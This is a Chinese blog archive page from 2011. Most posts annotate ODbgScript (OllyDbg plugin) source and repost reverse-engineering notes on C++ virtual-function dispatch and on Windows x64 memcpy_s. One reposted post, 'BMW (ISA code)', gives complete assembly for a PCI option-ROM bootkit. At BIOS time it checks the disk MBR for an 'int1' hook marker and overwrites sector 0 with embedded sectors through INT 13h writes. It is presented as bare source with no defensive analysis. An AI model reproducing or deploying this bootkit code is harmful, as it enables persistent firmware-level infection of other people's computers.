显示标签为“源代碼”的博文。显示所有博文
显示标签为“源代碼”的博文。显示所有博文

2011年10月2日星期日

ODbgScript源碼學習(二十二)

HelperFunctions.h:

#pragma once

// General functions
string ToLower(string in);//到低位
int searchx(char *SearchBuff, int BuffSize, char *SearchString, int StringLen, char wc);//搜索char
bool GetWildcardBytePositions(string bytestring, vector<int>* wildcardpos);//獲取通配符字節指針
bool RgchContains(char* container, uint containerlen, char* containee, uint containeelen);
bool is_hex(string& s);//判斷hex
bool is_hexwild(string& s);//判斷hexwild
bool is_dec(string &s);//判斷dec
bool is_float(string &s);//判斷float
DWORD rev(DWORD dw);
bool split(vector<string> &vec, const string &str, const char delim);
char GetWildcard(string &s);//獲取通配符
int Str2Rgch(string &s, char* arr, uint size);//轉換字符串到rgch
int Str2RgchWithWC(string &s, char* arr, uint size, char wc);//轉換字符串到rgchWithWC
string trim(const string& sData);//去除前後空格字符
bool UnquoteString(string& s, char cstart, char cend);//結束字符串
void MsgBox(string sMsg, string sTitle);//消息框
void DbgMsg(int n, char* title);//調試消息
void DbgMsg(int n,string title="");
void DbgMsgHex(int n, char* title);
void DbgMsgHex(int n,string title="");
int Str2Hex(string &s, string &dst);//字符串轉換為Hex
int Str2Hex(string &s, string &dst, ulong size);
long double strtof(string &s);
int Int2Hex(DWORD dw, string &dst);//整型到hex
void ReplaceString(string &s, char* what, char* with);//替換字符串
string CleanString(string &s);//清除字符串
string Str2Unicode(char* s,ulong len);//轉換字符串到Unicode
string Str2Unicode(string &s);

bool ESPRun(void);//ESP運行

HWND hwndOllyDbg();//ollydbg句柄
HINSTANCE hinstModule();//模塊句柄
HWND FindHandle(DWORD dwThreadId, string wdwClass, long x, long y);//尋找句柄

// PE Dumper
bool SaveDump(string fileName, DWORD ep);//保存轉儲
bool GetPEInfo(DWORD ep);//獲取pe信息

DWORD  resizeDW(DWORD dw, DWORD size);//重設大小雙字節
void resizeSTR(string &str, DWORD size);//重設大小字符串

string StrLastError(void);//最後錯誤
LARGE_INTEGER MyGetTickCount(ULONGLONG oldValue, bool bUseTickCount=0);//獲取Tick數

2011年9月27日星期二

ODbgScript源碼學習(二十一)


void initLogWindow() {
//初始化記錄窗口
   if (ollylang->wndLog.bar.nbar==0) {//如果語言工具條為空

ollylang->wndLog.bar.name[0]="Address"; //顯示地址字符串
    ollylang->wndLog.bar.defdx[0]=9; //索引
    ollylang->wndLog.bar.mode[0]=BAR_NOSORT; //模式為非分類

ollylang->wndLog.bar.name[1]="Message"; //消息
    ollylang->wndLog.bar.defdx[1]=130; //索引
    ollylang->wndLog.bar.mode[1]=BAR_NOSORT; //費分離

ollylang->wndLog.bar.nbar=2; //設置為2
    ollylang->wndLog.mode=TABLE_COPYMENU|TABLE_APPMENU|TABLE_SAVEPOS|TABLE_ONTOP|TABLE_HILMENU; //模式為標籤複製菜單|添加菜單|保存指針|非頂部|HIL菜單
    ollylang->wndLog.drawfunc=wndlog_get_text; //重畫函數為獲取文本

}
Quicktablewindow(&ollylang->wndLog,15,2,wndlogclass,"Script Log Window");
//快速表窗口
if (ollylang->wndLog.hw) { //如果句柄存在
HICON ico=LoadIcon(hinstModule(),MAKEINTRESOURCE(IDI_ICON_LOG));//加載圖標
SendMessage(ollylang->wndLog.hw,WM_SETICON,false,(long)ico);//發送設置圖標消息
// CloseHandle(ico);//關閉
}
}

int wndlog_sort_function(const t_sortheader *p1,const t_sortheader *p2,const int sort) {//分類函數
t_wndlog_data *lline1 = (t_wndlog_data *)p1; //行為分類頭數據指針
t_wndlog_data *lline2 = (t_wndlog_data *)p2;//行為分類頭數據指針

if (lline1->line > lline2->line)//如果行1大於行2
return 1; //則返回1
else if (lline1->line < lline2->line)
return -1;//否則返回-1
return 0; //默認返回0
}

int wndlog_get_text(char *s, char *mask, int *select, t_sortheader *ph, int column) {//獲取文本

unsigned int ret;
t_wndlog_data *lline = (t_wndlog_data *)ph;

t_dump *cpuasm; //定義轉儲類型變量
int p;

cpuasm = (t_dump *)Plugingetvalue(VAL_CPUDASM); //獲取插件值

    ret = sprintf(s,"");

switch (column) {
case 0: //打印不同類型
ret = sprintf(s, "%X", lline->eip);
break;
case 1:
ret = sprintf(s, "%s", lline->message);
break;

}

if (!ret) ret=strlen(s); //如果打印長度不為0,賦值s的長度后返回

return ret;
}

void clearLogLines() {

if (!ollylang->tLogLines.empty()) {//如果數據不為空
Deletesorteddatarange(&(ollylang->wndLog.data),0,0xffffffff);//釋放記錄窗口數據0-0xffffffff
ollylang->tLogLines.clear(); //清除行
if (ollylang->wndLog.hw!=NULL) InvalidateRect(ollylang->wndLog.hw, NULL, FALSE); //重畫記錄窗口
}
}

int add2log(char* message) { //添加記錄

t_dump *cpuasm;
t_wndlog_data lline={0};
cpuasm = (t_dump *)Plugingetvalue(VAL_CPUDASM);

lline.line = ollylang->tLogLines.size()+1; //行為語言行大小加1
lline.eip = cpuasm->sel0;
lline.size = 1;
strncpy(lline.message,message,LOG_MSG_LEN-1);

ollylang->tLogLines.push_back(lline); //入棧

Addsorteddata(&(ollylang->wndLog.data),&(ollylang->tLogLines.back()));//添加數據

if (ollylang->wndLog.hw!=NULL) {
Selectandscroll(&ollylang->wndLog,lline.line-1,2);
InvalidateRect(ollylang->wndLog.hw, NULL, FALSE);
}
return 1;
}

int add2log(string & message) {

return add2log((char*)message.c_str());

}

int add2logMasked(char* message,char* mask) {
return 1;
}

2011年9月25日星期日

ODbgScript源碼學習(二十)


LogWindows.cpp:
LRESULT CALLBACK wndlog_winproc(HWND hw,UINT msg,WPARAM wp,LPARAM lp) {
t_logwnd_data *pll; //記錄數據結構定義
HMENU menu; //菜單
int i,shiftkey,controlkey;

switch (msg) {
case WM_DESTROY: //如果消息是
case WM_MOUSEMOVE:
case WM_LBUTTONDOWN:
case WM_LBUTTONDBLCLK:
case WM_LBUTTONUP:
case WM_RBUTTONDOWN:
case WM_RBUTTONDBLCLK:
case WM_HSCROLL:
case WM_VSCROLL:
case WM_TIMER:
case WM_SYSKEYDOWN: //如果是系統按鍵消息
Tablefunction(&ollylang->wndLog,hw,msg,wp,lp); //建立表函數
break;                           // 中斷Pass message to DefMDIChildProc()
// Custom messages responsible for scrolling and selection. User-drawn
// windows must process them, standard OllyDbg windows without extra
// functionality pass them to Tablefunction()
case WM_USER_SCR:
case WM_USER_VABS:
case WM_USER_VREL:
case WM_USER_VBYTE:
case WM_USER_STS:
case WM_USER_CNTS:
case WM_USER_CHGS:
case WM_WINDOWPOSCHANGED: //如果消息是重載
return Tablefunction(&ollylang->wndLog,hw,msg,wp,lp);//返回表函數
case WM_USER_MENU:
menu=CreatePopupMenu(); //如果是用戶菜單建立菜單

// AppendMenu(menu,MF_SEPARATOR,0,"-");//應用菜單

pll=(t_logwnd_data *)Getsortedbyselection(&(ollylang->wndLog.data),ollylang->wndLog.data.selected);//由選擇獲取分類數據
if (menu!=NULL && pll!=NULL) { //如果菜單句柄和記錄數據不為空
AppendMenu(menu,MF_DEFAULT, 10,"Clear");//增加清除菜單
// AppendMenu(menu,MF_STRING, 32,"Toggle Script BP\tF2");//增加中斷菜單
};

// Even when menu is NULL, call to Tablefunction is still meaningful.
i=Tablefunction(&ollylang->wndLog,hw,WM_USER_MENU,0,(LPARAM)menu);//表函數

if (menu!=NULL) DestroyMenu(menu);//釋放菜單
switch (i) {
case 10:
clearLogLines();//清除行
InvalidateRect(hw, NULL, FALSE);//重設客戶區
return 1;
default:;
}
return 0;

case WM_USER_DBLCLK:
pll=(t_wndlog_data *)Getsortedbyselection(&(ollylang->wndLog.data),ollylang->wndLog.data.selected);//獲取數據
if (pll!=NULL) {
if (pll->line) Setcpu(0,pll->line,0,0,CPU_ASMHIST|CPU_ASMCENTER|CPU_ASMFOCUS);//設置CPU窗口
InvalidateRect(hw, NULL, FALSE);//重設客戶區
return 1;
}

case WM_KEYDOWN:
shiftkey=GetKeyState(VK_SHIFT) & 0x8000;//獲取按鍵碼
controlkey=GetKeyState(VK_CONTROL) & 0x8000;
if (wp==VK_RETURN && shiftkey==0 && controlkey==0) {
// Return key follows in Disassembler.
pll=(t_wndlog_data *)Getsortedbyselection(&(ollylang->wndLog.data),ollylang->wndLog.data.selected);
if (pll!=NULL) {
if (pll->line) Setcpu(0,pll->line,0,0,CPU_ASMHIST|CPU_ASMCENTER|CPU_ASMFOCUS);//設置CPU窗口
InvalidateRect(hw, NULL, FALSE);
}
}
// else if (wp==VK_F2) { // && shiftkey==0 && controlkey==0) {

Tablefunction(&ollylang->wndLog,hw,msg,wp,lp);//表函數
break;
        case WM_USER_CHALL:
        case WM_USER_CHMEM:
            InvalidateRect(hw, NULL, FALSE);
            return 0;
        case WM_PAINT:
            Painttable(hw, &ollylang->wndLog, wndlog_get_text);//重畫表
return 0;
default:
break;
}
return DefMDIChildProc(hw,msg,wp,lp); //默認處理
}


2011年9月24日星期六

[轉載]BMW(ISA代碼)

作者:foxmain
;*******************************************************************************************************************
;*******************************************************************************************************************
        org    0h        ; 运行于BIOS中
        db     55h,0AAh    ; ISA模块头
        db     15        ; 大小为 15*512字节

        jmp    MyROMCodeStart
;*******************************************************************************************************************
;*******************************************************************************************************************


;db 0bh
;db 6dh
;db 03h
        times 18 db 0h
;dd 400020h,8b2e0060h,4e5590c0h
;dd a7164944h
;dd A7h
;db  44h,49h,16h
;db 167
;dd 2010000h,8000cc5h
dw      001ch;              PCI數據結構起始偏移 00h
dw      0034h;              PCI數據結構結束偏移 02h 
dd      52494350h;          PCIR(pci rom)標誌   04h 
dw      10ech;              供應商ID            08h 
dw      8139h;              設備ID(網卡8139)    0ah 
dw      0000;               保留                0ch 
dw      0018h;              PCI數據結構長度     0eh 
db      00h;                PCI數據結構修訂版   10h
db      02,00,00;           類別代碼  
dw      0008h;              代碼長度
dw      0201h;              代碼/數據修訂版本水平
db      00;                 代碼類型(0表示可執行代碼)
db      80h;                指示字節 
dw      0000h;              保留
dd      506e5024h,201h,6500h,0,20000h,6400h,0,0;
;*******************************************************************************************************************
;*******************************************************************************************************************


MyROMCodeStart:
        pushf                          ;
        pushad                         ;PCI設備規範中說明,除了返回值以外,其它的參數必需恢復
         push   es
      push   ds

;        ret
      cld
        call   x_code    ; 跳轉到程序進入點

;*******************************************************************************************************************
;*******************************************************************************************************************

;------------------------------------------------------------------------
incbin "dst_sectors.dat";;;需要復制的數據
;------------------------------------------------------------------------

;*******************************************************************************************************************
;*******************************************************************************************************************
;oxfb9cd
;0xfb8ed
x_code:
        pop    ax
      xor    bx,bx
        push   bx
        pop    es
        push   cs          
        pop    ds                                                   
        mov    si, ax
        mov    di, 7c00h 
        mov    cx, 1c00h
        rep    movsb     ;將需要復制的文件拷貝到7c00h處
  mov    ds,bx
  mov     ah, 41h
        mov     dl, 80h
        mov     bx, 55AAh
        int     13h             ;檢測是否支持擴展的BIOS int 13h功能
        cmp     bx, 0AA55h
  jnz     __Exit
        test    cl, 1
        jz      __Exit

        call   __Estimate_MBR;判斷MBR是否以經被HOOK 
        test   ax,ax
  jnz    __Exit;        如果被HOOK了或者讀取錯誤退出
        mov    ax,7c00h 
        mov    ecx,0
        mov    dx,14
        call   __Write_sectors

__Exit:
        pop    ds
    pop    es
    popad
    popf
    retf


;*******************************************************************************************************************
;*******************************************************************************************************************


;=============================================================
; 需要將名稱變為大寫 
; 輸入:ES:EDI = 字符串CX = 字符串長度(寬字符串) 

;
;=============================================================
ToUpperCase:
    PUSH      ECX
    PUSH      EBX
    XOR       EBX,EBX
    TEST      CX,CX
    JZ        .End        ; CX = 0
    
    ; 目前只處理 a-z => A-Z 
.CheckNextChar:
    CMP       WORD[ES:EDI+EBX],0061H
    JB        .NextChar
    CMP        WORD[ES:EDI+EBX],007AH
    JA        .NextChar
    
    ; a < ch < z
    SUB        WORD[ES:EDI+EBX],20H
    
.NextChar:    
    ; 繼續處理下一個字符
    INC        EBX
    INC        EBX
    DEC        CX
    JNZ        .CheckNextChar

.End:
    ; 返回
    POP        EBX
    POP        ECX
    RET
    
    
;*******************************************************************************************************************
;*******************************************************************************************************************

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;function : write sectors 
;vars : ax = offset of the buffer,dx = cnt of sectors to write,ecx = start sector No. 
;data: 2009-5-23
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
__Write_sectors:
        push   si
        push   di
      xor    bx,bx
      push   bx
      pop    ds
      mov    si,97F0h
        mov    [word si],word 0010h
        mov    [word si+2],dx;寫dx個扇區的數據 
        mov    [word si+4],ax
        mov    [word si+6],byte 0000h
        mov    [word si+8],ecx;從第ecx個扇區開始寫入
        mov    ecx,0004h
        mov    di,97FCh
_fill_zero1:
        mov    [byte di],byte 00h
        inc    di
        loop   _fill_zero1
        mov    ax,4300h
        mov    dl,80h
        int    13h
        jnb    _normal_write
        mov    ax,0ffffh
_normal_write:
        pop    di
        pop    si    
        ret

;*******************************************************************************************************************
;*******************************************************************************************************************

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;function : __Estimate_MBR 
;date : 2009-05-26
;if hooked return true else return false
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

__Estimate_MBR:
        mov    ax,0x8A00  ;7c00+e00
      mov    dx,1;需要讀取的扇區數
      mov    ecx,0;開始讀的起始扇區
      push   ax
      call   __Read_sectors;讀0扇區的內容
      pop    si
    cmp    ax,0xffff
    jz     _erro_read
    mov    ax,[word 0x8BFE] ;7c00+1FE
    cmp    ax,0xAA55
    jnz    FindSign 
      mov    eax,[dword 0x8A92] ;7c00+e00+192
      cmp    eax,0x31746E69;;HOOK標誌
      jz     FindSign
        mov    ax,0
        jmp    NotHook
FindSign:
        mov    ax,1
        jmp    _erro_read
NotHook:
      mov   si,0x8B80 ;7c00+e00+180
      mov   di,0x7d80 ;7c00+180
      mov   cx,0x80
      rep   movsb      ;複製分區表到0x7c00+0x180處 
_erro_read:
      ret

;*******************************************************************************************************************
;*******************************************************************************************************************

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;function : read sectors 
;vars : ax = offset of the buffer,dx = cnt of sectors to read,ecx = start sector No. 
;updata: 2009-5-23
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;

__Read_sectors:
        push   si
        push   di
      xor    bx,bx
      push   bx
      pop    ds    
      
        mov    si,97F0h
        mov    [word si],word 0010h
        mov    [word si+2],dx;讀取dx個扇區的數據
        mov    [word si+4],ax
        mov    [word si+6],byte 0000h
        mov    [word si+8],ecx      ;從第ecx個扇區開始讀取。
        mov    ecx,0004h
        mov    di,97FCh
_fill_zero:
        mov    [byte di],byte 00h
        inc    di
        loop   _fill_zero
        mov    ax,4200h
        mov    dl,80h
        int    13h
        jnb    _normal_read
        mov    ax,0ffffh
_normal_read:
        pop    di
        pop    si    
        ret

;*******************************************************************************************************************
;*******************************************************************************************************************
      
WaitPressScrollKey:
        push   ax
s0:
        in     al,60h
        cmp    al,0x46      ;Scroll Lock鍵掃描碼:46h
        jnz    s1                                   
        stc    
        pop    ax
        ret
s1:
        in     al,61h
        test   al,010h
        jnz    s2
con:
        in     al,61h
        test   al,10h
        jz     con
        dec    cx
s2:
        or     cx,cx
        jnz    s0
        clc
        pop    ax
        ret
times  7680-($-$$)  db  0  ; 添加文件至7680字節大小

2011年9月20日星期二

ODbgScript源碼學習(十九)

LogWindows.h:

#define LOG_MSG_LEN TEXTLEN //定義記錄消息長度

// 腳本執行表This is the table for Script Execution
typedef struct t_wndlog_data {

unsigned long line; //行
unsigned long size;             // 在地址空間由元素佔用大小Size occupied by element in address space
unsigned long type;             // 數據元素類型Type of data element, TY_xxx
unsigned long eip; //當前地址eip
char     message[LOG_MSG_LEN];

} t_logwnd_data; //記錄窗口數據結構

LRESULT CALLBACK wndlog_winproc(HWND hw,UINT msg,WPARAM wp,LPARAM lp); //指針回調函數記錄窗口的過程

void initLogWindow(); //初始化記錄窗口

int wndlog_sort_function(const t_sortheader *p1,const t_sortheader *p2,const int sort); //記錄窗口分類函數
int wndlog_get_text(char *s, char *mask, int *select, t_sortheader *ph, int column); //獲取文本

int add2log(string & command); //添加到記錄(字符串型)
int add2log(char * command); //添加到記錄(char型)

int add2logMasked(char* message,char* mask); //添加到記錄

void clearLogLines(); //清除記錄行

2011年9月18日星期日

[轉載]C++代碼分析


作 者: 鄧韜
時 間: 2011-08-25,14:29:18
鏈接: http://bbs.pediy.com/showthread.php?t=139289

C++虛函數是構成多態的一部分,多態指的是運行期決定調用哪個函數,下面是個純虛函數例子:
#include "stdafx.h"
class Test{
public:
  Test(){
    printf("Test::Test\n");
  }
  virtual ~Test(){
    printf("Virtual ~Test()\n");
  }
  virtual void prointer()=0;
  virtual void pointf()=0;
};
class TestA:public Test{
public:
  TestA(){
    printf("TestA::TestA\n");
  }
  virtual ~TestA(){
    printf("TestA::TestA\n");
  }
  virtual void prointer(){
    printf("Derive Class TestA::Pointer\n");
  }
  virtual void pointf(){
    printf("Derive Class TestA::Pointf\n");
  }
};
int _tmain(int argc, _TCHAR* argv[]){
  TestA *pTest=new TestA;
  pTest->pointf();
  pTest->prointer();
  delete pTest;
  return 0;
}
這段代碼定義了一個抽像類,和一個派生類,抽像類不能創建自己的對象,但是可以間接的從派生類創建自己的對象,構成純虛函數的條件:
1. 一個類中必須要有一個虛函數
2. 在虛函數後面添加一個=0就是一個純虛函數了
抽象基類的所有純虛函數必須被派生類定義的虛函數覆蓋,否者派生類也是一個抽象基類,不能創建自己的對象;先看下Test類,由於Test類不能創建自己的對象,所以我根據TestA類來解析調用過程。 Test類我們可以把它看做一個地址,這個地址裡面有些指針,只想函數的地址,假如Test類的地址是0x401000,那麼在這個地址裡面的第一個就是虛折構函數,方便釋放類的對象的時候調用,第二個沒有了,因為我們只在Test類中定義一個析構函數,和一個構造函數,構造函數在編譯的時候就被編譯器從類的里面給趴到Main來了,看下反彙編代碼:
00401091 |. 6A 04 PUSH 4
00401093 |. E8 68000000 CALL <JMP.&MSVCR90.operator new>
00401098 |. 8BF0 MOV ESI,EAX
0040109A |. 83C4 04 ADD ESP,4
0040109D |. 85F6 TEST ESI,ESI
0040109F |. 74 27 JE SHORT 004010C8
這裡就是TestA *pTest=new TestA這裡了,從這段代碼我們可以看出,new是無論何如都會調用成功的,因為CALL <JMP.&MSVCR90.operator new>後的返回值,被比較是否等於0了,雖然這個比較不是我們的代碼,但是編譯器就已經夠定了new無論如何都會調用成功,如果CALL <JMP.&MSVCR90.operator new>的返回值是0,那麼構造函數都會被跳過,而構造函數是會被程序調用的,如果不調用的話,這樣就和C++構造函數的說法相反了,所以new 操作符分配的內存一定會成功的,我們在接著看下下面這段代碼:
004010A1 |. 57 PUSH EDI
004010A2 |. 8B3D B0204000 MOV EDI,DWORD PTR DS:[<&MSVCR90.printf>] ; msvcr90.printf
004010A8 |. 68 0C214000 PUSH 0040210C ; /format = "Test::Test"
004010AD |. C706 7C214000 MOV DWORD PTR DS:[ESI],0040217C ; |
004010B3 |. FFD7 CALL EDI ; \printf
004010B5 |. 68 2C214000 PUSH 0040212C ; ASCII "TestA::TestA"
004010BA |. C706 8C214000 MOV DWORD PTR DS:[ESI],0040218C
004010C0 |. FFD7 CALL EDI
這段代碼顯然是兩個類的構造函數被調用了,那麼其中傳遞了兩個地址給ESI,我們看下這個地址是什麼類容,我們跟隨到數據窗口看一下,顯示格式選擇為地址格式
0040217C 00401000 這就是這個地址的內容,一個代碼地址
C++構造.00401000其中第一個地址指向如下地址,跟隨一下
00401000 . 56 PUSH ESI
00401001 . 8BF1 MOV ESI,ECX
00401003 . 68 18214000 PUSH 00402118 ; /format = "Virtual ~Test()"
00401008 . C706 7C214000 MOV DWORD PTR DS:[ESI],0040217C ; |
0040100E . FF15 B0204000 CALL DWORD PTR DS:[<&MSVCR90.printf>] ; \printf
這裡顯然就是折夠函數了,所以當一個類中有虛析構函數的時候,這個虛析構函數的地址會被放在類指針的最前面,這裡把Test的地址的指針放入ESI裡面,然後根據ESP+8來判斷是否調用delete操作符,這些都是編譯器自動添加的,這是編譯器的事,我還沒那技術去研究
00401014 . 83C4 04 ADD ESP,4
00401017 . F64424 08 01 TEST BYTE PTR SS:[ESP+8],1
0040101C . 74 09 JE SHORT 00401027
0040101E . 56 PUSH ESI
0040101F . E8 D6000000 CALL <JMP.&MSVCR90.operator delete>
00401024 . 83C4 04 ADD ESP,4
00401027 > 8BC6 MOV EAX,ESI
00401029 . 5E POP ESI
0040102A . C2 0400 RETN 4
繼續我們上面的構造函數,類的構造函數被一次從上至下的調用之後,傳遞了Test和TestA的地址到ESI裡面,我們聲明的是TestA的對象,所以最後一個地址就是TestA了,看下反彙編代碼的調用過程
004010C2 |. 83C4 08 ADD ESP,8
004010C5 |. 5F POP EDI
004010C6 |. EB 02 JMP SHORT 004010CA
004010C8 |> 33F6 XOR ESI,ESI
004010CA |> 8B06 MOV EAX,DWORD PTR DS:[ESI] ;
004010CC |. 8B50 08 MOV EDX,DWORD PTR DS:[EAX+8]
004010CF |. 8BCE MOV ECX,ESI
004010D1 |. FFD2 CALL EDX
這裡ESI指向TestA類的起始地址,把這個起始地址傳到EAX裡面之後,就把這個類裡面的一個函數地址放到EDX裡面,TestA類本身一共有4個函數,剛才構造函數被外部也就是Main調用了,那麼裡面只剩下3個地址了,我們知道一個類如果有虛析構函數,第一個地址就指向虛析構函數的地址,EAX+8就是調用了
pTest->pointf();至於為什麼,自己想一下,MOV ECX,ESI通過ECX來保證堆棧的平衡
004010D3 |. 8B06 MOV EAX,DWORD PTR DS:[ESI] ; C++構造.0040218C
004010D5 |. 8B50 04 MOV EDX,DWORD PTR DS:[EAX+4]
004010D8 |. 8BCE MOV ECX,ESI
004010DA |. FFD2 CALL EDX
這裡就調用了pTest->prointer();因為我們是根據類的地址來決定調用哪個函數的
004010DC |. 8B06 MOV EAX,DWORD PTR DS:[ESI]
004010DE |. 8B10 MOV EDX,DWORD PTR DS:[EAX] ; C++構造.00401050
004010E0 |. 6A 01 PUSH 1
004010E2 |. 8BCE MOV ECX,ESI
004010E4 |. FFD2 CALL EDX
這裡就是調用TestA類的虛折構函數,也就是當前類的地址的第一個指針,我們跟踪進去看一下,下面是反彙編代碼:
00401050 . 56 PUSH ESI
00401051 . 57 PUSH EDI
00401052 . 8B3D B0204000 MOV EDI,DWORD PTR DS:[<&MSVCR90.printf>] ; msvcr90.printf
00401058 . 8BF1 MOV ESI,ECX
0040105A . 68 2C214000 PUSH 0040212C ; /format = "TestA::TestA"
0040105F . C706 8C214000 MOV DWORD PTR DS:[ESI],0040218C ; |
00401065 . FFD7 CALL EDI ; \printf
00401067 . 68 18214000 PUSH 00402118 ; ASCII "Virtual ~Test()"
0040106C . C706 7C214000 MOV DWORD PTR DS:[ESI],0040217C
00401072 . FFD7 CALL EDI
00401074 . 83C4 08 ADD ESP,8
00401077 . F64424 0C 01 TEST BYTE PTR SS:[ESP+C],1
0040107C . 74 09 JE SHORT 00401087
0040107E . 56 PUSH ESI
0040107F . E8 76000000 CALL <JMP.&MSVCR90.operator delete>
00401084 . 83C4 04 ADD ESP,4
00401087 > 5F POP EDI
00401088 . 8BC6 MOV EAX,ESI
0040108A . 5E POP ESI
0040108B . C2 0400 RETN 4
這裡調用了兩個虛析構函數的地方,為什麼是先調用~TestA,而不是先調用~Test呢,因為我們把這兩個析構函數定義為了虛函數,虛函數是在運行期決定調用誰的,當我們把TestA的成員函數調用完畢之後,析構函數會自動調用,因此,TestA完了之後就調用自己的析構函數,釋放最新分配的內存,所以,先調用TestA的折構函數,再調用Test的折構函數,這也是為什麼把析構函數聲明為虛函數的原因,
這裡調用了兩個虛析構函數之後,就是用delete指針刪除了由new分配的地址,分析完畢。
總結一下:
當我們定義了一個帶有虛函數的類的時候,這個類的虛函數就會被放在一個地址表裡面,這個地址表被放在類的入口裡面,當我們調用哪個類的時候,就使用哪個類的入口來調用裡面的虛函數,這就證名明了C++中得函數同名的虛函數的多態機制。
講得不好,如果有錯誤的地方請各位指出來,謝謝!

2011年9月16日星期五

[轉載]簡單的函數逆向(還原)


作 者: 天高 
時 間: 2011-09-02,01:15:29
鏈接: http://bbs.pediy.com/showthread.php?t=139643

看過論壇的一些關於逆向的貼子
說說我的看法:逆向工程並不是對代碼進行分析就算了,實際上要對工程進行一定的還原(源代碼形式),當然難度挺大,要對算法非常熟悉。要係統的數據結構非常熟悉,才有能力推還原工程的數據結構。

這裡僅對一個簡短的函數進行還原,當然並不可能還原為原作者源代碼,是還原為在函數的邏輯思想上最接近的形式。

代碼:
ntdll!memcpy_s:
00000000`77abee8c 48895c2408 mov qword ptr [rsp+8],rbx
00000000`77abee91 4889742410 mov qword ptr [rsp+10h],rsi
00000000`77abee96 57 push rdi
00000000`77abee97 4883ec30 sub rsp,30h
00000000`77abee9b 498bd9 mov rbx,r9
00000000`77abee9e 498bf0 mov rsi,r8
00000000`77abeea1 488bfa mov rdi,rdx
00000000`77abeea4 4d85c9 test r9,r9
00000000`77abeea7 7504 jne ntdll!memcpy_s+0x21 (00000000`77abeead)

ntdll!memcpy_s+0x1d:
00000000`77abeea9 33c0 xor eax,eax
00000000`77abeeab eb1c jmp ntdll!memcpy_s+0x3d (00000000`77abeec9)

ntdll!memcpy_s+0x21:
00000000`77abeead 4885c9 test rcx,rcx
00000000`77abeeb0 7527 jne ntdll!memcpy_s+0x4d (00000000`77abeed9)

ntdll!memcpy_s+0x26:
00000000`77abeeb2 48214c2420 and qword ptr [rsp+20h],rcx
00000000`77abeeb7 4533c9 xor r9d,r9d
00000000`77abeeba 4533c0 xor r8d,r8d
00000000`77abeebd 33d2 xor edx,edx
00000000`77abeebf e85c95ffff call ntdll!invalid_parameter (00000000`77ab8420)

ntdll!memcpy_s+0x38:
00000000`77abeec4 b816000000 mov eax,16h

ntdll!memcpy_s+0x3d:
00000000`77abeec9 488b5c2440 mov rbx,qword ptr [rsp+40h]
00000000`77abeece 488b742448 mov rsi,qword ptr [rsp+48h]
00000000`77abeed3 4883c430 add rsp,30h
00000000`77abeed7 5f pop rdi
00000000`77abeed8 c3 ret

ntdll!memcpy_s+0x4d:
00000000`77abeed9 4d85c0 test r8,r8
00000000`77abeedc 7412 je ntdll!memcpy_s+0x64 (00000000`77abeef0)

ntdll!memcpy_s+0x52:
00000000`77abeede 483bd3 cmp rdx,rbx
00000000`77abeee1 720d jb ntdll!memcpy_s+0x64 (00000000`77abeef0)

ntdll!memcpy_s+0x57:
00000000`77abeee3 4c8bc3 mov r8,rbx
00000000`77abeee6 488bd6 mov rdx,rsi
00000000`77abeee9 e8e2f7fbff call ntdll!memcpy (00000000`77a7e6d0)
00000000`77abeeee ebb9 jmp ntdll!memcpy_s+0x1d (00000000`77abeea9)

ntdll!memcpy_s+0x64:
00000000`77abeef0 4c8bc2 mov r8,rdx
00000000`77abeef3 33d2 xor edx,edx
00000000`77abeef5 e8d63ffcff call ntdll!memset (00000000`77a82ed0)
00000000`77abeefa 4885f6 test rsi,rsi
00000000`77abeefd 7505 jne ntdll!memcpy_s+0x78 (00000000`77abef04)

ntdll!memcpy_s+0x73:
00000000`77abeeff 8d5e16 lea ebx,[rsi+16h]
00000000`77abef02 eb0a jmp ntdll!memcpy_s+0x82 (00000000`77abef0e)

ntdll!memcpy_s+0x78:
00000000`77abef04 483bfb cmp rdi,rbx
00000000`77abef07 73bb jae ntdll!memcpy_s+0x38 (00000000`77abeec4)

ntdll!memcpy_s+0x7d:
00000000`77abef09 bb22000000 mov ebx,22h

ntdll!memcpy_s+0x82:
00000000`77abef0e 488364242000 and qword ptr [rsp+20h],0
00000000`77abef14 4533c9 xor r9d,r9d
00000000`77abef17 4533c0 xor r8d,r8d
00000000`77abef1a 33d2 xor edx,edx
00000000`77abef1c 33c9 xor ecx,ecx
00000000`77abef1e e8fd94ffff call ntdll!invalid_parameter (00000000`77ab8420)
00000000`77abef23 8bc3 mov eax,ebx
00000000`77abef25 eba2 jmp ntdll!memcpy_s+0x3d (00000000`77abeec9)
這是windows 7 64 位系統上ntdll 模塊的一個非常簡短的函數memcpy_s() ,結果並不重要,重要的是過程

1. 確定函數的參數個數

在64 位windows 系統上,函數的傳遞方式相對簡單,統一使用寄存器進行傳遞參數,分別使用:rcx, rdx, r8 以及r9 寄存器來傳遞前4 個參數,多餘的參數依舊使用stack 來傳遞。
在這個函數中,我們看到使用到了r9 寄存器,因此,我們可以判斷這個函數共有4 個參數,下面是memcpy_s() 函數的原型初形:

memcpy_s(arg1, arg2, arg3, arg4)

分別用arg1 - arg4 來表示,函數的返回值先暫時放一邊,隨著分析過程的展開進行填補。


2. 第 4 個參數的處理

下面看看代碼:

00000000`77abeea4 4d85c9 test r9,r9 ; arg4
00000000`77abeea7 7504 jne ntdll!memcpy_s+0x21 (00000000`77abeead)

ntdll!memcpy_s+0x1d:
00000000`77abeea9 33c0 xor eax,eax ; 返回值
00000000`77abeeab eb1c jmp ntdll!memcpy_s+0x3d (00000000`77abeec9)

... ...

ntdll!memcpy_s+0x3d:
00000000`77abeec9 488b5c2440 mov rbx,qword ptr [rsp+40h]
